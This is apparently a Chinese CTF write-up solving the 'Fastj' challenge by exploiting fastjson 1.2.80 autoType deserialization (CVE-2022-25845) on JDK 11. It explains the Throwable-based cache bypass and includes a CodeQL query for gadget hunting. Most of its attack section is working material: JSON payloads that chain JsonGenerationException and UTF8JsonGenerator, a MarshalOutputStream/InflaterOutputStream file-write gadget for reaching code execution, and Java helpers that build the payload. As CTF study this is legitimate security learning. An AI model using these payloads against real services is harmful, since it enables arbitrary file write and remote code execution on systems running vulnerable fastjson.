京麒ctf Fastj
期末考结束拉 学学学
题目依赖很干净 只有spring 原生的依赖 同时告诉我们是jdk 11 使用的是fj 1.2.80
fastjson 在1.2.68的时候有一条特殊的链子 only jdk 11 的链子
图来自于https://blog.ninefiger.top/2022/11/11/fastjson%201.2.68%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
而 jk 1.2.80 是去掉了这个auotcloseable ,不能通过这个方法添加类了,但是又发现了一个新的类 throwable 可以将它添加到map 里面
之前没分析 现在简单分析下
fj1.2.80 反序列化 fastjson反序列化符合条件的期望类时,会将public字段、构造函数参数加到缓存中
依赖和测试json如下
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.80</version > </dependency >
1 { "@type" : "java.lang.Exception" , "@type" : "com.fasterxml.jackson.core.exc.InputCoercionException" }
下断点在**TypeUtils.getClassFromMapping
** 简单调试一下
首先判断这个类从缓存中取出了这个类
然后调用getDeserializer 方法去获取这个类的序列化器
跟进这个方法 ,先是直接尝试获取到这个反序列化器,但是获取到的值是null 不存在 继续走下去 走入getDeserializer 函数内
前面的一堆 获取的参数都匹配不上 走入后面的流程
获取到的是**ThrowableDeserializer
** 这个
然后就是走入词法分析 继续解析后面的字符串,解析到key为@type 然后走入到checkAutoType 函数内
一系列黑白名单校验之后 就会走入addmapping 加入到缓存中
题目提示了需要我们写入OutputStream 这个类 通过写文件来完成rce 同时告诉我们这个是jdk11
参考这个
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "@type": "java.lang.AutoCloseable", "@type": "sun.rmi.server.MarshalOutputStream", "out": { "@type": "java.util.zip.InflaterOutputStream", "out": { "@type": "java.io.FileOutputStream", "file": "/tmp/asdasd", "append": true }, "infl": { "input": { "array": "eJxLLE5JTCkGAAh5AnE=", "limit": 14 } }, "bufLen": "100" }, "protocolVersion": 1 }
由于AutoCloseable 在当前(1.280)版本已经被移除 我们需要找到一个其他的方式去添加这个OutputStream
fj1.280 添加缓存机制如下
https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/
我们可以使用codeql 来寻找所有满足缓存条件的类
搜索所有扩展了 Throwable
的类,这些类能够通过递归添加到fj的缓存中去 (感觉写的有点错误)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java class ExtendsThrowable extends Class { ExtendsThrowable() { this.getASupertype* ().hasQualifiedName("java.lang", "Throwable") } } predicate isThrowableRelated(Class c) { c instanceof ExtendsThrowable or exists (Constructor ctor, Parameter p, Class outer | ctor.getDeclaringType() = outer and p = ctor.getAParameter() and c = p.getType() and isThrowableRelated(outer ) ) } from Class cwhere isThrowableRelated(c) select c
根据https://github.com/luelueking/CVE-2022-25845-In-Spring
里面他使用如下的方式写入InputStream
1 2 3 4 5 6 7 8 9 10 { "a" : "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\", \"p\": { } }" , "b" : { "$ref" : "$.a.a" } , "c" : "{ \"@type\": \"com.fasterxml.jackson.core.JsonParser\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\", \"in\": {}}" , "d" : { "$ref" : "$.c.c" } }
注意到有这样一个类
JsonGenerator,他的实现类里面的UTF8JsonGenerator 能够在使用加载的时候缓存OutputStream
那我们就可以利用这一点加载这个类
1 2 3 4 5 6 7 8 9 10 11 public class main { public static void main (String[] args) { ParserConfig.getGlobalInstance().addAccept("com.fasterxml.jackson.core.JsonGenerator" ); String expjson = "{\"@type\":\"com.fasterxml.jackson.core.JsonGenerator\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8JsonGenerator\"}" ; JSON.parse(expjson); } }
那加载链条就清楚了
1 2 3 4 UTF8JsonGenerator JsonGenerator JsonGenerationException Exception
第一步 加载JsonGenerationException 后触发他的构造方法,将JsonGenerator 放入缓存
第二部 通过JsonGenerator 将UTF8JsonGenerator 加入缓存
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 public class main { public static void main (String[] args) { String expjson = "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\"}" ; JSON.parse(expjson); expjson = "{\"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\", \"g\": {}}" ; JSON.parse(expjson); expjson ="{\"@type\":\"com.fasterxml.jackson.core.JsonGenerator\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8JsonGenerator\"}" ; JSON.parse(expjson); } }
然后就可以通过UTF8JsonGenerator 的构造方法 加载OutputStream
1 {\"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\", \"in\": {} }
也可以一步到位
1 2 3 4 5 6 { "a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\", \"g\": {} }", "b": { "$ref": "$.a.a" }, "c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonGenerator\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\", \"out\": {} }", "d": { "$ref": "$.c.c" } }
任意文件写入 回到1.2.68 这个链子上来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "@type": "java.lang.AutoCloseable", "@type": "sun.rmi.server.MarshalOutputStream", "out": { "@type": "java.util.zip.InflaterOutputStream", "out": { "@type": "java.io.FileOutputStream", "file": "/tmp/asdasd", "append": true }, "infl": { "input": { "array": "eJxLLE5JTCkGAAh5AnE=", "limit": 14 } }, "bufLen": "100" }, "protocolVersion": 1 }
关注 MarshalOutputStream 的构造方法
在对象序列化过程中,会调用其内部 OutputStream 的 write 方法;
但是这里的 FileOutputStream 没法子加入缓存中 ,但是题目提供了一个类
继承FilterFileOutputStream
1 2 3 4 5 6 public class FilterFileOutputStream extends FileOutputStream { public FilterFileOutputStream (String name, String prefix) throws FileNotFoundException { super (name); if (!name.startsWith(prefix)) return ; } }
就有了第二部写文件的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "@type" : "java.io.OutputStream" , "@type" : "sun.rmi.server.MarshalOutputStream" , "out" : { "@type" : "java.util.zip.InflaterOutputStream" , "out" : { "@type" : "com.app.FilterFileOutputStream" , ← 自定义类 "name" : "/tmp/test" , "prefix" : "/" }, "infl" : { "input" : { "array" : "<base64压缩数据>" , "limit" : <解压后的长度> } }, "bufLen" : "100" }, "protocolVersion" : 1 }
构造写入字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package exp;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.util.Base64;import java.util.zip.DeflaterOutputStream;public class Array { public static void main (String[] args) { try { String input = "test" ; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream (byteArrayOutputStream)) { deflaterOutputStream.write(input.getBytes("UTF-8" )); } byte [] compressedBytes = byteArrayOutputStream.toByteArray(); String encoded = Base64.getEncoder().encodeToString(compressedBytes); int leng = compressedBytes.length; System.out.println("Base64 array: " + encoded); System.out.println("Length: " + leng); } catch (IOException e) { e.printStackTrace(); } } }
花了点时间,对fj的利用了解更深刻了
还是要联系codeql。。。。
参考
1 2 3 4 https://xz.aliyun.com/news/18127 https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/ https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/ https://github.com/luelueking/CVE-2022-25845-In-Spring